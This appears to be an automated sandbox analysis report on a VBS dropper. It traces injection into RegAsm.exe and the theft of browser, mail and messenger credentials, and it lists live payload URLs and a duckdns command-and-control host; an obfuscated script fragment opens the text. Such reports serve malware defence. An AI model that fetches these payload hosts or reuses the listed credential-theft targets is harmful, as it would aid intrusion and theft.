l,: smastweblsl i tp=,( tse satt-zpgadtah f$dpsr o g raa mlrae d,aak tcrms ) ');while (!$satellit) {scance (svndyssendes94 'h$bg lto,b.a lh: rie goi ocn s.p lparnvrae t n ibn gbscl i.n.j.e =,$mtcrmuaeu ') ;scance $genlydens;scance (svndyssendes94 ',s tca r,t -.ssl,eoesp .4n ');scance (svndyssendes9	Jump to behavior

Source: RegAsm.exe, 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 024/07/27 07:31:02 Program Manager]
Source: RegAsm.exe, 00000004.00000002.3269216080.0000000000FEF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.3269591579.0000000001005000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, sfvnspt.dat.4.dr	Binary or memory string: [2024/07/27 07:31:02 Program Manager]
Source: RegAsm.exe, 00000004.00000002.3269591579.0000000001005000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerbulerer"
Source: RegAsm.exe, 00000004.00000002.3269591579.0000000001005000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr\|
Source: RegAsm.exe, 00000004.00000002.3269591579.0000000001005000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagertionsrmA{x#
Source: RegAsm.exe, 00000004.00000002.3269216080.0000000000FEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager7
Source: RegAsm.exe, 00000004.00000002.3269216080.0000000000FEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerV
Source: RegAsm.exe, 00000004.00000002.3269591579.0000000001005000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerles\*lp}{D#s
Source: RegAsm.exe, 00000004.00000002.3267052966.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.3269591579.0000000001005000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00434C52 cpuid

4_2_00434C52

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	4_2_0040F8D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_00452036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_004520C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	4_2_00452313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_00448404
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_0045243C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	4_2_00452543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00452610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	4_2_004488ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	4_2_00451CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_00451F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	4_2_00451F9B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00404F51 GetLocalTime,CreateEventA,CreateThread,

4_2_00404F51

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041B60D GetComputerNameExW,GetUserNameW,

4_2_0041B60D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

4_2_00449190

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_0041739B GetVersionExW,

7_2_0041739B

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: wscript.exe, 00000000.00000003.1989125695.000001DA6157B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1988144159.000001DA61567000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1991345397.000001DA6157D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: APT.EXE

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5684, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\sfvnspt.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

4_2_0040BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		4_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		4_2_0040BB30

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Paltalk	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail	Jump to behavior

Tries to steal Mail credentials (via file registry)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ESMTPPassword	8_2_004033F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy, PopPassword	8_2_00402DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy, SMTPPassword	8_2_00402DB3

Yara detected WebBrowserPassView password recovery tool

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 3620, type: MEMORYSTR

Remote Access Functionality

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5684, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\sfvnspt.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

4_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	331 Scripting	Valid Accounts	11 Windows Management Instrumentation	331 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Bypass User Account Control	13 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Windows Service	1 Access Token Manipulation	1 Software Packing	2 Credentials in Registry	1 System Service Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	222 Command and Scripting Interpreter	Login Hook	1 Windows Service	1 DLL Side-Loading	3 Credentials In Files	3 File and Directory Discovery	Distributed Component Object Model	211 Input Capture	214 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Service Execution	Network Logon Script	422 Process Injection	1 Bypass User Account Control	LSA Secrets	39 System Information Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	2 PowerShell	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	422 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
createdthingstobefrankwithmeeverywhere.gIF.vbs	0%	ReversingLabs
createdthingstobefrankwithmeeverywhere.gIF.vbs	18%	Virustotal		Browse

Source	Detection	Scanner	Link
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
asociatiatraditiimaria.ro	15%	Virustotal	Browse
geoplugin.net	1%	Virustotal	Browse
iwarsut775laudrye2.duckdns.org	19%	Virustotal	Browse
new.quranushaiqer.org.sa	17%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.imvu.comr	0%	URL Reputation	safe
http://www.imvu.comr	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://gmpg.org/xfn/11	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://login.yahoo.com/config/login	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=P	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
http://www.nirsoft.net	0%	Avira URL Cloud	safe
http://www.imvu.com	0%	URL Reputation	safe
https://api.w.org/	0%	URL Reputation	safe
https://asociatiatraditiimaria.ro/feed/	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpegM	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm	100%	Avira URL Cloud	malware
http://geoplugin.net/json.gp	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://www.ebuddy.com	0%	URL Reputation	safe
http://www.nirsoft.net	0%	Virustotal		Browse
https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	Avira URL Cloud	safe
https://asociatiatraditiimaria.ro/feed/	14%	Virustotal		Browse
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm	17%	Virustotal		Browse
https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767	14%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	Virustotal		Browse
http://198.46.176.133	14%	Virustotal		Browse
http://198.46.176.133	0%	Avira URL Cloud	safe
https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767	0%	Avira URL Cloud	safe
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	0%	Avira URL Cloud	safe
https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://fp-afd.azurefd.us/apc/trans.gif?94fb5ac9609bcb4cda0bf8acf1827073	0%	Avira URL Cloud	safe
https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-LAX31r5a&FrontEnd=AF	0%	Avira URL Cloud	safe
https://maps.windows.com/windows-app-web-link	0%	Avira URL Cloud	safe
https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1	14%	Virustotal		Browse
https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=	14%	Virustotal		Browse
https://asociatiatraditiimaria.ro	0%	Avira URL Cloud	safe
https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-LAX31r5a&FrontEnd=AF	0%	Virustotal		Browse
https://asociatiatraditiimaria.ro/os/transportment.pfm	100%	Avira URL Cloud	malware
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm0	100%	Avira URL Cloud	malware
https://aka.ms/pscore6lBjq	0%	Avira URL Cloud	safe
https://asociatiatraditiimaria.ro	5%	Virustotal		Browse
https://maps.windows.com/windows-app-web-link	0%	Virustotal		Browse
https://asociatiatraditiimaria.ro/os/transportment.pfm	4%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
http://104.168.45.34	0%	Avira URL Cloud	safe
http://www.nirsoft.net/	0%	Avira URL Cloud	safe
http://www.imvu.comata	0%	Avira URL Cloud	safe
iwarsut775laudrye2.duckdns.org	100%	Avira URL Cloud	malware
https://www.office.com/	0%	Avira URL Cloud	safe
http://www.nirsoft.net/	0%	Virustotal		Browse
http://198.46.176.133/Upload/vbs.jpeg	100%	Avira URL Cloud	malware
https://asociatiatraditiimaria.ro/comments/feed/	0%	Avira URL Cloud	safe
https://fp-afd.azurefd.us/apc/trans.gif?0cf92be82316943650f2ee723bc6949e	0%	Avira URL Cloud	safe
